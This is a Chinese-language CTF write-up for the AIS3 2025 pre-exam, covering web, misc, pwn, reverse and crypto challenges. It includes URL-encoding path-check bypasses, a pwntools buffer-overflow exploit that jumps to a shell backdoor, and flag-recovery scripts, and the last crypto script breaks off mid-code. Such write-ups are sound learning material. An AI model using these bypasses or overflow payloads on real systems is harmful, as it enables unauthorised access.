AIS3-pre-exam-2025-writeups

Web 🌐

Tomorin db 🐧

  1. 進入網頁後,直接嘗試點擊flag存取 /flag

  2. 發現當對網頁請求 /flag 時,會被伺服器重導向到 YouTube 影片。

    • 由於目的是要存取檔案,故使用存取./flag應與flag相同,故嘗試利用本特性存取flag
    • 由於瀏覽器會直接將./解釋為目前目錄而抵銷,我將其進行 URL 編碼避免被解釋。
  3. /編碼為%2f,編碼/./flag 後得到 /.%2fflag

  4. 伺服器收到了 /.%2fflag 後由於它不是 /flag 而繞過了檢查。接著透過./flag 成功存取。

    圖片

FLAG 🚩

AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}


Login Screen 1

  • 檢查 docker-compose.yml 設定檔。發現 users.db 檔案被掛載到 volumes 中,與其他可公開存取的路徑類似。
  1. 直接在瀏覽器中嘗試存取 /users.db

    • 成功下載 users.db 檔案。
  2. 開啟 users.db,發現其中包含使用者資訊,包括 admin 帳號的 2FA 密碼。

    取得密碼截圖

    • guest 帳號的密碼是 guest。基於此模式,推測 admin 帳號的密碼可能也是 admin
  3. 使用帳號 admin 和密碼 admin 成功登入。

  4. 進入 2FA 驗證階段後輸入從 users.db 中找到的 admin 帳號對應的 2FA 密碼。

  5. 成功登入 admin 帳號,並在頁面中找到 FLAG。

    完成圖

FLAG 🚩

AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}


Misc 🧩

welcome

挑戰上面直接寫著 Flag 的文字內容。
雖然看起來不是圖片,但無法直接複製貼上。

  1. 使用 windows 內建剪取工具,將圖片中的文字轉換為可編複製的文字。

圖片

FLAG 🚩

AIS3{Welcome_And_Enjoy_The_CTF_!}


Ramen CTF

分析:

圖片中看起來就是一家普通的拉麵店,並且主餐還被使用圖片蓋住。
照片角落放著一張發票,看起來就是這題的重點資訊。

  1. 店家名稱:

    • 從發票提取關鍵字 平和 及統編前八碼 3478592
    1. Google 搜尋 平和 拉麵 3478592,得到地址 宜蘭縣礁溪鄉礁溪路五段108巷1號
    2. 將地址輸入 Google Maps,確認店名為 樂山溫泉拉麵
      圖片
      圖片
  2. 餐點品項:

    1. 掃描發票左方 QR Code,發現線索指向與蝦拉有關的餐點。
    2. 搜尋 樂山溫泉拉麵 菜單。
    3. 在菜單中找到 蝦拉麵
      圖片
      圖片
FLAG 🚩

AIS3{樂山溫泉拉麵:蝦拉麵}


AIS3 Tiny Server - Web / Misc

前置作業

  • 啟動並測試題目提供之伺服器檔案,發現其應為一個簡易的檔案伺服器。

  • 確認伺服器有目錄瀏覽功能,輸入資料夾名稱可以直接列出該資料夾下的內容。

    測試圖片

1 透過題目提供之FLAG 位置提示,明確指出 FLAG 位於 /readable_flag_<somerandomstring> 這樣的路徑下,故得知其位於跟目錄,又由於其有目錄瀏覽功能,故我們能透過存取根目錄來查看裡面的內容。
* 參考先前Tomorin db 🐧 的解題過程,嘗試使用 URL 編碼來存取跟目錄。
2. 存取/%2f後取得目錄內容,包含一個符合flag檔名格式的檔案。
圖片
3. 請求 /%2freadable_flag_xNhHEswND5f45bnjjzm9TnguqR4l4BEl,伺服器成功解析並回傳 FLAG 。

FLAG 🚩

AIS3{tInY_we8_s3RvER_WitH_fIle_BrOWs1ng_45_@_FeATURE}


Pwn 💥

Welcome to the World of Ave Mujica🌙

前置作業

  • 分析程式流程:
graph TD;
顯示Banner-->問Yes/no;
問Yes/no-->其他;
問Yes/no-->Yes;
Yes-->詢問字串長度;
詢問字串長度-->輸入大於127;
詢問字串長度-->輸入小於等於127;
輸入小於等於127-->使用者輸入
  • 目標: 存取含式Welcome_to_the_world_of_Ave_Mujica ,位址 0x401256,內含 shell 後門。
    圖片

  • 漏洞: read(0, buf, int8);buf 大小為 143,存在 Buffer overflow。

    • 然而read_int8()會檢查輸入值是否 > 127,若是則退出。
    • 由於變數型態為unsigned __int8,範圍為1-255,輸入 -1會被解釋為255,讀取大小則會成功設為 255
  • bufrbp-160,return address在 rbp+8。距離 = 160 + 8 = 168

    • Payload: `b’A’ * 168 + p64(0x401256)
  1. yes
  2. -1
  3. 發送 Payload
  4. 取得 Shell。
rev code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[143]; // [rsp+0h] [rbp-A0h] BYREF
char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
unsigned __int8 int8; // [rsp+97h] [rbp-9h]
char *v7; // [rsp+98h] [rbp-8h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("\x1B[2J\x1B[1;1H");
printf("\x1B[31m");
printf("%s", (const char *)banner);
puts(&byte_402A78);
puts(&byte_402AB8);
fgets(s, 8, stdin);
v7 = strchr(s, 10);
if ( v7 )
*v7 = 0;
if ( strcmp(s, "yes") )
{
puts(&byte_402AE8);
exit(1);
}
printf(&byte_402B20);
int8 = read_int8();
printf(&byte_402B41);
read(0, buf, int8);
return 0;
}

__int64 read_int8()
{
char buf[4]; // [rsp+8h] [rbp-8h] BYREF
int v2; // [rsp+Ch] [rbp-4h]

read(0, buf, 4uLL);
v2 = atoi(buf);
if ( v2 > 127 )
{
puts(&byte_402A38);
exit(1);
}
return (unsigned int)v2;
}

int Welcome_to_the_world_of_Ave_Mujica()
{
puts(&s);
puts(&byte_402990);
puts(&byte_4029B4);
puts(&byte_4029C3);
puts(&byte_4029D2);
puts(&byte_4029E1);
puts(&byte_4029FC);
puts(&byte_402A15);
return execve("/bin/sh", 0LL, 0LL);
}

python exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import time

target_addr = 0x401256
padding_size = 168

payload = b'A' * padding_size
payload += p64(target_addr)

# 選擇一種連線方式
p = process(['wsl', './chal'])
# p = remote('chals1.ais3.org', 60440)

time.sleep(0.5)
p.sendlineafter(b'?', b'yes')
p.sendlineafter(b':', b'-1')
p.sendafter(b':', payload)

p.interactive()
FLAG 🚩

AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._c7328452ad54297bd152cf485d2f1943}


Reverse 🛠️

AIS3 Tiny Server - Reverse

透過IDA逆向並手動過過濾後後發現程式包含兩個與本題相關之函式

  • sub_2110: 處理請求並將處理後的輸入傳給 sub_1E20
sub 2110
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
int __cdecl sub_2110(int fd, int a2)
{
char *p_s; // esi
char v3; // al
char *v4; // eax
char *v5; // eax
int result; // eax
int v7; // eax
char *v8; // edi
_BYTE *v9; // esi
char *v10; // ebp
__int16 v11; // ax
signed int v12; // ecx
char *v13; // eax
__int16 v14; // [esp+Dh] [ebp-102Bh] BYREF
char v15; // [esp+Fh] [ebp-1029h]
_DWORD v16[2]; // [esp+10h] [ebp-1028h] BYREF
char v17; // [esp+18h] [ebp-1020h]
char s; // [esp+19h] [ebp-101Fh] BYREF
_BYTE v19[1024]; // [esp+410h] [ebp-C28h] BYREF
unsigned __int8 v20; // [esp+810h] [ebp-828h] BYREF
char v21[1023]; // [esp+811h] [ebp-827h] BYREF
_DWORD v22[3]; // [esp+C10h] [ebp-428h] BYREF
char v23; // [esp+C1Ch] [ebp-41Ch] BYREF

*(_DWORD *)(a2 + 512) = 0;
*(_DWORD *)(a2 + 516) = 0;
v22[0] = fd;
v22[1] = 0;
v22[2] = &v23;
sub_17E0(v22, v16, 1024);
__isoc99_sscanf(v16, "%s %s", v19, &v20);
do
{
if ( LOBYTE(v16[0]) == 10 || BYTE1(v16[0]) == 10 )
{
result = v20;
v8 = (char *)&v20;
v9 = (_BYTE *)a2;
if ( v20 == 47 )
{
v8 = v21;
v12 = strlen(v21);
if ( !v12 )
{
v15 = 0;
v8 = ".";
v14 = 0;
LOBYTE(result) = 46;
goto LABEL_24;
}
v13 = v21;
while ( *v13 != 63 )
{
if ( v12 <= ++v13 - (char *)&v20 - 1 )
{
v9 = (_BYTE *)a2;
result = (unsigned __int8)v21[0];
goto LABEL_23;
}
}
*v13 = 0;
v9 = (_BYTE *)a2;
result = (unsigned __int8)v21[0];
}
LABEL_23:
v15 = 0;
v14 = 0;
if ( !(_BYTE)result )
{
LABEL_29:
*v9 = 0;
return result;
}
LABEL_24:
v10 = v8;
while ( 1 )
{
++v9;
if ( (_BYTE)result == 37 )
{
v11 = *(_WORD *)(v10 + 1);
v10 += 3;
v14 = v11;
*(v9 - 1) = strtoul((const char *)&v14, 0, 16);
result = (unsigned __int8)*v10;
if ( !(_BYTE)result )
goto LABEL_29;
}
else
{
++v10;
*(v9 - 1) = result;
result = (unsigned __int8)*v10;
if ( !(_BYTE)result )
goto LABEL_29;
}
if ( (_BYTE *)(a2 + 1023) == v9 )
goto LABEL_29;
}
}
sub_17E0(v22, v16, 1024);
if ( LOBYTE(v16[0]) == 82 && *(_WORD *)((char *)v16 + 1) == 28257 )
{
__isoc99_sscanf(v16, "Range: bytes=%ld-%u", a2 + 512, a2 + 516);
v7 = *(_DWORD *)(a2 + 516);
if ( v7 )
*(_DWORD *)(a2 + 516) = v7 + 1;
}
}
while ( v16[0] != 861096257 || v16[1] != 1634485805 || v17 != 103 );
p_s = &s;
if ( s == 58 || s == 32 )
{
do
{
do
v3 = *++p_s;
while ( v3 == 32 );
}
while ( v3 == 58 );
}
v4 = strchr(p_s, 13);
if ( v4 )
*v4 = 0;
v5 = strchr(p_s, 10);
if ( v5 )
*v5 = 0;
if ( sub_1E20(p_s) )
sub_1F90(fd, 200, (int)"Flag Correct!", "Congratulations! You found the correct flag!", 0);
else
sub_1F90(fd, 403, (int)"Wrong Flag", "Sorry, that's not the correct flag. Try again!", 0);
return close(fd);
}
  • sub_1E20: FLAG 檢查函式,動態生成一個 45 位元組的目標 FLAG並與使用者輸入進行比較。
sub 1E20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_BOOL4 __cdecl sub_1E20(int a1)
{
unsigned int v1; // ecx
char v2; // si
char v3; // al
int i; // eax
char v5; // dl
_BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
_DWORD v8[11]; // [esp+12h] [ebp-3Eh]
__int16 v9; // [esp+3Eh] [ebp-12h]

v1 = 0;
v2 = 51;
v9 = 20;
v3 = 114;
v8[0] = 1480073267;
v8[1] = 1197221906;
v8[2] = 254628393;
v8[3] = 920154;
v8[4] = 1343445007;
v8[5] = 874076697;
v8[6] = 1127428440;
v8[7] = 1510228243;
v8[8] = 743978009;
v8[9] = 54940467;
v8[10] = 1246382110;
qmemcpy(v7, "rikki_l0v3", sizeof(v7));
while ( 1 )
{
*((_BYTE *)v8 + v1++) = v2 ^ v3;
if ( v1 == 45 )
break;
v2 = *((_BYTE *)v8 + v1);
v3 = v7[v1 % 0xA];
}
for ( i = 0; i != 45; ++i )
{
v5 = *(_BYTE *)(a1 + i);
if ( !v5 || v5 != *((_BYTE *)v8 + i) )
return 0;
}
return *(_BYTE *)(a1 + 45) == 0;
}

分析 sub_1E20

  • 初始化:

    • 金鑰 key_string 被設為 "rikki_l0v3"
    • 一個 44 位元組的初始資料緩衝區 (original_v8_bytes) 由 11 個硬編碼的 DWORD 值(小端序)組成。
    • 初始 XOR 值:initial_v2 = 51 (‘3’), initial_v3 = 114 (‘r’)。
  • FLAG 生成演算法:

    1. FLAG[0] = initial_v2 ^ initial_v3;
    2. 對於 i 從 1 到 43:FLAG[i] = original_v8_bytes[i] ^ key_string[i % 10];
    3. FLAG[44] = 0x14 ^ key_string[44 % 10];
  • 根據以上邏輯製作py腳本:

python exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import struct

v8_dwords = [
1480073267, 1197221906, 254628393, 920154, 1343445007,
874076697, 1127428440, 1510228243, 743978009, 54940467,
1246382110
]
original_v8_bytes = b"".join(struct.pack('<I', dword) for dword in v8_dwords)
key_string = b"rikki_l0v3"
byte_from_v9_for_f44 = 0x14
flag_bytes = bytearray(45)

flag_bytes[0] = 51 ^ 114
for i in range(1, 44):
flag_bytes[i] = original_v8_bytes[i] ^ key_string[i % 10]
flag_bytes[44] = byte_from_v9_for_f44 ^ key_string[44 % 10]

print(flag_bytes.decode('utf-8'))
FLAG 🚩

AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}


web flag checker

ref

  1. 轉換為 C 程式碼:
    使用 wasm2c.wasm 檔案轉換為 C 原始碼。

    1
    wasm2c index.wasm -o output.c 
  2. 編譯:
    使用 gcc 將上一步產生的 .c 檔案編譯為.o

    1
    gcc -c output.c -o output.o
  3. 反編譯

    • 將編譯好的 output.o 載入IDA。
    • 找到處理 FLAG 驗證的flagchecker函式。
  4. 腳本撰寫

    1. 載入題目提供的 reference_values 和固定的 mask
    2. 利用 mask 計算出每個加密區塊對應的旋轉位移量,存入 keys
    3. 對每個加密區塊,使用其對應的 keys 值執行 ror64 操作,得到原始數據區塊。
    4. 將所有原始數據區塊轉換成位元組、拼接、去除尾部空字元,再以 UTF-8 解碼成字串,輸出 FLAG。

rev code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall w2c_index_flagchecker_0(__int64 a1, unsigned int a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+28h] [rbp-148h]
unsigned int v4; // [rsp+2Ch] [rbp-144h]
unsigned int v5; // [rsp+2Ch] [rbp-144h]
__int64 v6; // [rsp+38h] [rbp-138h]
__int64 v7; // [rsp+40h] [rbp-130h]
__int64 v8; // [rsp+48h] [rbp-128h]
unsigned int v9; // [rsp+C8h] [rbp-A8h]
char v10; // [rsp+E4h] [rbp-8Ch]
unsigned int v11; // [rsp+E8h] [rbp-88h]
int v12; // [rsp+F8h] [rbp-78h]
unsigned int v13; // [rsp+114h] [rbp-5Ch]
unsigned int v14; // [rsp+164h] [rbp-Ch]

v14 = *(_DWORD *)(a1 + 16) - 96;
*(_DWORD *)(a1 + 16) = v14;
i32_store(a1 + 40, v14 + 88LL, a2);
i32_store(a1 + 40, v14 + 84LL, 4255033133LL);
i64_store(a1 + 40, v14 + 64, 0LL);
i64_store(a1 + 40, v14 + 56, 0LL);
i64_store(a1 + 40, v14 + 48, 0LL);
i64_store(a1 + 40, v14 + 40LL, 0LL);
i64_store(a1 + 40, v14 + 32LL, 0LL);
i64_store(a1 + 40, v14 + 32LL, 0x69282A668AEF666ALL);
i64_store(a1 + 40, v14 + 40LL, 0x633525F4D7372337LL);
i64_store(a1 + 40, v14 + 48LL, 0x9DB9A5A0DCC5DD7DLL);
i64_store(a1 + 40, v14 + 56LL, 0x9833AFAFB8381A2FLL);
i64_store(a1 + 40, v14 + 64LL, 0x6FAC8C8726464726LL);
if ( (unsigned int)i32_load(a1 + 40, v14 + 88LL)
&& (v4 = i32_load(a1 + 40, v14 + 88LL), (unsigned int)w2c_index_f13(a1, v4) == 40) )
{
v13 = i32_load(a1 + 40, v14 + 88LL);
i32_store(a1 + 40, v14 + 28LL, v13);
i32_store(a1 + 40, v14 + 24LL, 0LL);
while ( (int)i32_load(a1 + 40, v14 + 24LL) < 5 )
{
v12 = i32_load(a1 + 40, v14 + 28LL);
v11 = 8 * i32_load(a1 + 40, v14 + 24LL) + v12;
v8 = i64_load(a1 + 40, v11);
i64_store(a1 + 40, v14 + 16LL, v8);
v10 = i32_load(a1 + 40, v14 + 24LL);
i32_store(a1 + 40, v14 + 12LL, (0xFD9EA72D >> ((6 * v10) & 0x1F)) & 0x3F);
v7 = i64_load(a1 + 40, v14 + 16LL);
v9 = i32_load(a1 + 40, v14 + 12LL);
v6 = w2c_index_f8(a1, v7, v9);
v5 = 8 * i32_load(a1 + 40, v14 + 24LL) + v14 + 32;
if ( v6 != i64_load(a1 + 40, v5) )
goto LABEL_8;
v3 = i32_load(a1 + 40, v14 + 24LL) + 1;
i32_store(a1 + 40, v14 + 24LL, v3);
}
i32_store(a1 + 40, v14 + 92LL, 1LL);
}
else
{
LABEL_8:
i32_store(a1 + 40, v14 + 92LL, 0LL);
}
LODWORD(result) = i32_load(a1 + 40, v14 + 92LL);
*(_DWORD *)(a1 + 16) = v14 + 96;
return (unsigned int)result;
}
python exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
reference_values = [
0x69282A668AEF666A,
0x633525F4D7372337,
0x9DB9A5A0DCC5DD7D,
0x9833AFAFB8381A2F,
0x6FAC8C8726464726,
]

# Extract shift keys from 0xFD9EA72D
mask = 0xFD9EA72D
keys = [(mask >> (6 * i)) & 0x3F for i in range(5)]

def ror64(val, shift):
shift %= 64
return ((val >> shift) | (val << (64 - shift))) & 0xFFFFFFFFFFFFFFFF

# Reverse the rotation
original_values = [ror64(ref, k) for ref, k in zip(reference_values, keys)]

# Combine into byte string
flag_bytes = b''.join(val.to_bytes(8, 'little') for val in original_values)

# Output flag
print("Recovered flag:", flag_bytes.rstrip(b'\x00').decode('utf-8'))

FLAG 🚩

AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}


A_simple_snake_game

  • 仔細翻找逆向後的檔案,會發現SnakeGame::Screen::drawText函式,依據名稱看起來是用於處理文字輸出,故開始研究其架構。

    • 經分析,本函式負責文字顯示。當滿足特定條件(int)this > 11451419 && a3 > 19810時,會觸發 FLAG 的顯示邏輯。
SnakeGame::Screen::drawText
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, int a4)
{
unsigned int v4; // eax
int v5; // eax
char *v6; // eax
char *Error; // eax
int v8; // eax
char v9; // [esp+13h] [ebp-F5h]
char lpuexcpt; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcpta; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcptb; // [esp+14h] [ebp-F4h]
_DWORD v14[10]; // [esp+5Dh] [ebp-ABh] BYREF
__int16 v15; // [esp+85h] [ebp-83h]
char v16; // [esp+87h] [ebp-81h]
_DWORD v17[4]; // [esp+88h] [ebp-80h] BYREF
int v18; // [esp+98h] [ebp-70h]
_BYTE v19[24]; // [esp+9Ch] [ebp-6Ch] BYREF
_DWORD v20[5]; // [esp+B4h] [ebp-54h] BYREF
_BYTE v21[27]; // [esp+C8h] [ebp-40h] BYREF
char v22; // [esp+E3h] [ebp-25h] BYREF
int TextureFromSurface; // [esp+E4h] [ebp-24h]
int v24; // [esp+E8h] [ebp-20h]
unsigned int i; // [esp+ECh] [ebp-1Ch]

if ( (int)this <= 11451419 || a3 <= 19810 )
{
SnakeGame::Screen::createText[abi:cxx11](v21, (int)a1, (int)this, a3);
v20[4] = 0xFFFFFF;
v8 = std::string::c_str(v21);
a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF);
a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]);
v20[0] = 400;
v20[1] = 565;
v20[2] = 320;
v20[3] = 30;
SDL_RenderCopy(a1[1], a1[4], 0, v20);
std::string::~string(v21);
}
else
{
v14[0] = -831958911;
v14[1] = -1047254091;
v14[2] = -1014295699;
v14[3] = -620220219;
v14[4] = 2001515017;
v14[5] = -317711271;
v14[6] = 1223368792;
v14[7] = 1697251023;
v14[8] = 496855031;
v14[9] = -569364828;
v15 = 26365;
v16 = 40;
std::allocator<char>::allocator();
std::string::basic_string(v14, 43, &v22);
std::allocator<char>::~allocator(&v22);
for ( i = 0; ; ++i )
{
v4 = std::string::length(v19);
if ( i >= v4 )
break;
lpuexcpt = *(_BYTE *)std::string::operator[](i);
v9 = SnakeGame::hex_array1[i];
*(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt;
}
v18 = 0xFFFFFF;
v5 = std::string::c_str(v19);
v24 = TTF_RenderText_Solid(a1[5], v5, v18);
if ( v24 )
{
TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v24);
if ( TextureFromSurface )
{
v17[0] = 200;
v17[1] = 565;
v17[2] = 590;
v17[3] = 30;
SDL_RenderCopy(a1[1], TextureFromSurface, 0, v17);
SDL_FreeSurface(v24);
SDL_DestroyTexture(TextureFromSurface);
}
else
{
lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"SDL_CreateTextureFromSurface: ");
Error = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcptb, Error);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
SDL_FreeSurface(v24);
}
}
else
{
lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"TTF_RenderText_Solid: ");
v6 = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcpta, v6);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
}
std::string::~string(v19);
}
}
  • 在 FLAG 顯示邏輯中,發現
1
2
3
4
5
6
int v14[10] = {
-831958911, -1047254091, -1014295699, -620220219, 2001515017,
-317711271, 1223368792, 1697251023, 496855031, -569364828
};
__int16 v15 = 0x66FD;
char v16 = 0x28;

這些變數組成一段長度 43 的加密資料,再搭配 SnakeGame::hex_array1[] 做 XOR 解密:

1
2
3
4
5
6
7
SnakeGame::hex_array1 = [
0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
0x93, 0x22, 0x55
]
  • 解密
    decrypted_byte[i] = encrypted_byte[i] ^ hex_array1[i]
py腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import struct

# 原始加密 int 陣列(小端表示)
v14 = [
-831958911, -1047254091, -1014295699, -620220219, 2001515017,
-317711271, 1223368792, 1697251023, 496855031, -569364828
]
v15 = 0x66FD
v16 = 0x28

# 合併所有加密資料為 raw bytes(共 43 bytes)
raw = b''.join(struct.pack('<i', n) for n in v14) + struct.pack('<H', v15) + bytes([v16])

# hex_array1
key = bytes([
0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
0x93, 0x22, 0x55
])

# XOR 解密
flag = bytes([r ^ k for r, k in zip(raw, key)])
print(flag.decode())
FLAG 🚩

AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}


Crypto 🔑

Stream

採用已知明文攻擊:

  • FLAG 以 AIS3{ 開頭。
  • C_int 為加密後 FLAG 的整數形式,P_intb"AIS3{" 的整數形式。
    • 關鍵近似:b_squared_approx = C_int ^ P_int
    • 計算 b_approx_root = math.isqrt(b_squared_approx)
    • b_approx_root 的一個小範圍內搜索實際的 b 值。
  • 迭代 b_candidate = b_approx_root +/- delta,用 C_int ^ (b_candidate**2) 解密 FLAG 開頭,看是否能得到 b"AIS3{"
  • 找到正確的 b 後,用 C_int ^ (b**2) 解密完整 FLAG。

腳本編寫:

  1. encrypted_flag 轉換為int encrypted_int。同時,將已知的明文前綴 b"AIS3{" 以大端序轉換為整數 known_int
  2. 執行第一次 XOR 運算:b_squared = encrypted_int ^ known_int,利用已知前綴來獲取一個與實際加密金鑰的平方相關的近似值。
  3. 計算 b_squared 的整數平方根,得到 b 。
  4. 執行第二次 XOR 運算以進行解密:original_int = encrypted_int ^ (b_value**2)
  5. 最後,將解密得到的 original_int 計算其所需的位元組長度,並以大端序轉換回位元組序列,再將此位元組序列以 UTF-8 解碼為字串,即為還原後的 FLAG。
code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import math

encrypted_flag = "0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694"

# 嘗試推算 b 值
encrypted_int = int(encrypted_flag, 16)

# 已知前綴轉為整數
known_int = int.from_bytes(b"AIS3{", byteorder='big')

# 計算 b^2 = encrypted_int ^ known_int
b_squared = encrypted_int ^ known_int

# 嘗試計算 b 的近似值(開平方)
b_value = int(math.isqrt(b_squared))

original_int = encrypted_int ^ (b_value**2)

# 計算需要的字節數
byte_length = (original_int.bit_length() + 7) // 8

print(original_int.to_bytes(byte_length, byteorder='big').decode('utf-8'))
FLAG 🚩

AIS3{no_more_junks...plz}

Hill

由於只有一次查詢機會,須利用這次查詢同時恢復矩陣 AB

  1. 恢復 A 和 B:

    • 構造一個包含 $2n=16$ 個區塊的選擇明文:$P_C = [e_0, \vec{0}, e_1, \vec{0}, \dots, e_{n-1}, \vec{0}]$(其中 $e_j$ 是標準基向量,$n=8$,$\vec{0}$ 是全零向量)。
    • 將 $P_C$ 作為我們唯一的一次查詢提交給伺服器。
    • 伺服器返回的 $16$ 個密文區塊 $C_C = [C_{C,0}, C_{C,1}, \dots, C_{C,15}]$ 將直接揭示 AB 的所有列:
      • $A$ 的第 $j$ 列 $= C_{C,2j}$
      • $B$ 的第 $j$ 列 $= C_{C,2j+1}$
  2. 解密 FLAG:

    • 得到 AB 後,計算 A 在模 251 下的逆矩陣 $A^{-1}$。
    • 使用 $A^{-1}$ 和 B 解密伺服器初始給出的 $C_F$:
      • $P_{F,0} = (A^{-1} \cdot C_{F,0}) \pmod{251}$
      • $P_{F,i} = (A^{-1} \cdot (C_{F,i} - B \cdot P_{F,i-1})) \pmod{251}$
    • 將解密後的各個明文區塊 $P_F$ 組合並解碼,即可得到 FLAG。
py腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import numpy as np
from pwn import *

P,N=251,8

if __name__=="__main__":
s=remote('chals1.ais3.org',18000)
s.recvuntil(b"Encrypted flag:\n",timeout=2)
fos=s.recvuntil(b"input:",drop=True,timeout=2).decode()
fcb=[]
for l in fos.strip().split('\n'):
l=l.strip()
if l.startswith("[") and l.endswith("]"):
a=np.array([int(x) for x in l[1:-1].split()],dtype=int)
if len(a)==N:fcb.append(a)
zb=bytes([0]*N)
cpb=b"".join(bytes([1 if i==k else 0 for i in range(N)])+zb for k in range(N))
cpi=cpb.decode('latin-1') # Use latin-1 for decoding bytes to str if non-ASCII
s.sendline(cpi.encode('latin-1')) # Send as latin-1 bytes
nob=2*N
ob=[]
lr=0
ml=nob+5
while len(ob)<nob and lr<ml:
lb=s.recvline(timeout=2)
lr+=1
if not lb:break
l=lb.decode(errors='ignore').strip()
if l.startswith("[")and l.endswith("]"):
ao=np.array([int(x)for x in l[1:-1].split()],dtype=int)
if len(ao)==N:ob.append(ao)
s.close()
A=np.zeros((N,N),dtype=int);B=np.zeros((N,N),dtype=int)
for j in range(N):A[:,j]=ob[2*j];B[:,j]=ob[2*j+1]
am=np.hstack([A.astype(np.int64),np.identity(N,dtype=np.int64)])
am%=P
for i in range(N):
if am[i,i]==0:
fp=False
for k_swap in range(i+1,N): # Renamed k to k_swap to avoid conflict
if am[k_swap,i]!=0:am[[i,k_swap]]=am[[k_swap,i]];fp=True;break
if not fp: raise ValueError(f"Matrix A is singular at column {i}") # Added error if no pivot
dv=int(am[i,i])
if dv == 0: raise ValueError(f"Zero pivot at ({i},{i}) after swap attempt.") # Added error
try:
di=pow(dv,-1,P)
except ValueError:
raise ValueError(f"Modular inverse for pivot {dv} does not exist (mod {P}).")

am[i,:]=(am[i,:]*di)%P
for jm in range(N):
if i!=jm:f=am[jm,i];am[jm,:]=(am[jm,:]-f*am[i,:]+P)%P # Ensure positive before modulo
AI=am[:,N:].astype(int)%P
dpl=[]
